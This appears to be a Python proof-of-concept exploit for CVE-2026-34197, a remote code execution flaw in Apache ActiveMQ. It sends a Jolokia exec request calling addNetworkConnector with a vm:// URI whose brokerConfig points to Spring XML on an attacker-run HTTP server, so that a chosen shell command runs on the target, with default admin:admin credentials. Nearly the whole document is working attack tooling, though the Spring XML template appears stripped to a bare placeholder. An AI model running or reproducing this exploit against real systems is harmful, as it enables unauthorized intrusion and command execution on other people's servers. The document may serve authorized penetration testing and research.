#!/usr/bin/env python3 """ CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia MBean + VM Transport Proof of Concept for authorized security testing only. Attack chain: Jolokia exec -> addNetworkConnector() MBean -> vm:// transport with brokerConfig=xbean:http://attacker/evil.xml -> Spring XML bean instantiation -> OS command execution Usage: 1. Start the HTTP server (serves malicious Spring XML): python3 exploit_poc.py serve --lhost 10.0.0.1 --lport 9999 --cmd "touch /tmp/pwned" 2. In another terminal, fire the exploit: python3 exploit_poc.py exploit --target http://victim:8161 \ --user admin --password admin \ --lhost 10.0.0.1 --lport 9999 Or run both in one shot (auto-serves XML, fires exploit, cleans up): python3 exploit_poc.py auto --target http://victim:8161 \ --lhost 10.0.0.1 --lport 9999 --cmd "id > /tmp/pwned.txt" """ import argparse import http.server import json import shlex import sys import textwrap import threading import time import urllib.request import base64 from urllib.error import URLError, HTTPError SPRING_XML_TEMPLATE = textwrap.dedent("""\ {cmd_values} """) def build_spring_xml(cmd: str) -> str: """Build a Spring XML that executes the given shell command.""" parts = shlex.split(cmd) values = "\n".join(f" {p}" for p in parts) return SPRING_XML_TEMPLATE.format(cmd_values=values) def build_spring_xml_shell(cmd: str) -> str: """Build Spring XML using bash -c for complex commands.""" values = ( " bash\n" " -c\n" f" {cmd}" ) return SPRING_XML_TEMPLATE.format(cmd_values=values) class ExploitHTTPHandler(http.server.BaseHTTPRequestHandler): """HTTP handler that serves the malicious Spring XML.""" xml_payload = "" def do_GET(self): print(f"[+] Target fetched payload: {self.path}") self.send_response(200) self.send_header("Content-Type", "application/xml") self.end_headers() self.wfile.write(self.xml_payload.encode()) def log_message(self, format, *args): pass # suppress default logging def start_http_server(host: str, port: int, xml_payload: str) -> http.server.HTTPServer: """Start HTTP server serving the Spring XML payload.""" ExploitHTTPHandler.xml_payload = xml_payload server = http.server.HTTPServer((host, port), ExploitHTTPHandler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() print(f"[*] Serving malicious Spring XML on http://{host}:{port}/evil.xml") return server def check_jolokia(target: str, username: str, password: str) -> dict | None: """Verify Jolokia is accessible and return broker info.""" url = f"{target.rstrip('/')}/api/jolokia/" creds = base64.b64encode(f"{username}:{password}".encode()).decode() req = urllib.request.Request(url) req.add_header("Authorization", f"Basic {creds}") try: with urllib.request.urlopen(req, timeout=10) as resp: data = json.loads(resp.read()) print(f"[+] Jolokia accessible — agent version: {data.get('value', {}).get('agent', 'unknown')}") return data except HTTPError as e: if e.code == 401: print(f"[-] Authentication failed (401) — check credentials") elif e.code == 403: print(f"[-] Jolokia access forbidden (403)") else: print(f"[-] HTTP error: {e.code}") return None except URLError as e: print(f"[-] Connection failed: {e.reason}") return None def get_broker_name(target: str, username: str, password: str) -> str | None: """Query Jolokia to discover the broker name dynamically.""" url = f"{target.rstrip('/')}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*" creds = base64.b64encode(f"{username}:{password}".encode()).decode() req = urllib.request.Request(url) req.add_header("Authorization", f"Basic {creds}") try: with urllib.request.urlopen(req, timeout=10) as resp: data = json.loads(resp.read()) if data.get("status") == 200 and data.get("value"): for mbean_name in data["value"]: # Extract brokerName from the MBean object name for part in mbean_name.split(","): if part.startswith("brokerName="): name = part.split("=", 1)[1] print(f"[+] Discovered broker name: {name}") return name except Exception: pass # Fallback: try common default print("[*] Could not discover broker name, using default 'localhost'") return "localhost" def fire_exploit(target: str, username: str, password: str, lhost: str, lport: int, broker_name: str = "localhost") -> bool: """Send the Jolokia exec request to trigger the exploit chain.""" # The crafted URI: # static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/evil.xml) # # - static:(...) is the network connector discovery URI # - vm://evil references a non-existent broker, forcing dynamic creation # - brokerConfig=xbean:http://... loads remote Spring XML config malicious_uri = ( f"static:(vm://evil?brokerConfig=xbean:http://{lhost}:{lport}/evil.xml)" ) payload = { "type": "exec", "mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}", "operation": "addNetworkConnector(java.lang.String)", "arguments": [malicious_uri] } url = f"{target.rstrip('/')}/api/jolokia/" creds = base64.b64encode(f"{username}:{password}".encode()).decode() data = json.dumps(payload).encode() req = urllib.request.Request(url, data=data, method="POST") req.add_header("Content-Type", "application/json") req.add_header("Authorization", f"Basic {creds}") req.add_header("Origin", target) print(f"[*] Sending exploit payload to {url}") print(f"[*] Malicious URI: {malicious_uri}") try: with urllib.request.urlopen(req, timeout=30) as resp: result = json.loads(resp.read()) if result.get("status") == 200: print("[+] Jolokia returned 200 — exploit payload delivered") print(f"[+] Response: {json.dumps(result, indent=2)}") return True else: print(f"[-] Unexpected status: {result.get('status')}") print(f" Error: {result.get('error', 'unknown')}") return False except HTTPError as e: body = e.read().decode(errors="replace") print(f"[-] HTTP {e.code}: {body[:500]}") return False except URLError as e: print(f"[-] Connection failed: {e.reason}") return False def cmd_serve(args): """Serve mode: just host the malicious XML.""" if args.shell: xml = build_spring_xml_shell(args.cmd) else: xml = build_spring_xml(args.cmd) print(f"[*] Command to execute: {args.cmd}") print(f"[*] Spring XML payload:\n{xml}") server = start_http_server("0.0.0.0", args.lport, xml) print("[*] Waiting for target to fetch payload... (Ctrl+C to stop)") try: while True: time.sleep(1) except KeyboardInterrupt: server.shutdown() def cmd_exploit(args): """Exploit mode: send the Jolokia request.""" print(f"[*] Target: {args.target}") print(f"[*] Credentials: {args.user}:{args.password}") # Step 1: Check Jolokia info = check_jolokia(args.target, args.user, args.password) if not info: sys.exit(1) # Step 2: Discover broker name broker_name = get_broker_name(args.target, args.user, args.password) # Step 3: Fire success = fire_exploit(args.target, args.user, args.password, args.lhost, args.lport, broker_name) if success: print("\n[+] Exploit sent. Check if your payload executed on the target.") else: print("\n[-] Exploit may have failed. Check server logs.") def cmd_auto(args): """Auto mode: serve XML + fire exploit in one shot.""" if args.shell: xml = build_spring_xml_shell(args.cmd) else: xml = build_spring_xml(args.cmd) print(f"[*] Target: {args.target}") print(f"[*] Command: {args.cmd}") # Start HTTP server server = start_http_server("0.0.0.0", args.lport, xml) time.sleep(0.5) # Check Jolokia info = check_jolokia(args.target, args.user, args.password) if not info: server.shutdown() sys.exit(1) # Discover broker name broker_name = get_broker_name(args.target, args.user, args.password) # Fire exploit success = fire_exploit(args.target, args.user, args.password, args.lhost, args.lport, broker_name) # Wait briefly for the target to fetch the XML print("[*] Waiting 5s for target to fetch payload...") time.sleep(5) server.shutdown() if success: print("\n[+] Done. Verify command execution on target.") else: print("\n[-] Exploit delivery uncertain. Check manually.") def main(): parser = argparse.ArgumentParser( description="CVE-2026-34197 ActiveMQ RCE PoC — Authorized testing only" ) subparsers = parser.add_subparsers(dest="mode", required=True) # Serve mode p_serve = subparsers.add_parser("serve", help="Host malicious Spring XML") p_serve.add_argument("--lhost", required=True, help="Listen host for HTTP server") p_serve.add_argument("--lport", type=int, default=9999, help="Listen port (default: 9999)") p_serve.add_argument("--cmd", default="touch /tmp/cve-2026-34197-pwned", help="OS command to execute") p_serve.add_argument("--shell", action="store_true", help="Wrap command in bash -c (for pipes, redirects)") # Exploit mode p_exploit = subparsers.add_parser("exploit", help="Send Jolokia exploit request") p_exploit.add_argument("--target", required=True, help="Target URL (http://host:8161)") p_exploit.add_argument("--user", default="admin", help="Username (default: admin)") p_exploit.add_argument("--password", default="admin", help="Password (default: admin)") p_exploit.add_argument("--lhost", required=True, help="Attacker IP hosting the XML") p_exploit.add_argument("--lport", type=int, default=9999, help="Attacker HTTP port") # Auto mode p_auto = subparsers.add_parser("auto", help="Serve + exploit in one shot") p_auto.add_argument("--target", required=True, help="Target URL (http://host:8161)") p_auto.add_argument("--user", default="admin", help="Username (default: admin)") p_auto.add_argument("--password", default="admin", help="Password (default: admin)") p_auto.add_argument("--lhost", required=True, help="Attacker IP") p_auto.add_argument("--lport", type=int, default=9999, help="Attacker HTTP port") p_auto.add_argument("--cmd", default="touch /tmp/cve-2026-34197-pwned", help="OS command to execute") p_auto.add_argument("--shell", action="store_true", help="Wrap command in bash -c") args = parser.parse_args() print("=" * 70) print(" CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport") print(" For authorized security testing and research only.") print("=" * 70) print() if args.mode == "serve": cmd_serve(args) elif args.mode == "exploit": cmd_exploit(args) elif args.mode == "auto": cmd_auto(args) if __name__ == "__main__": main()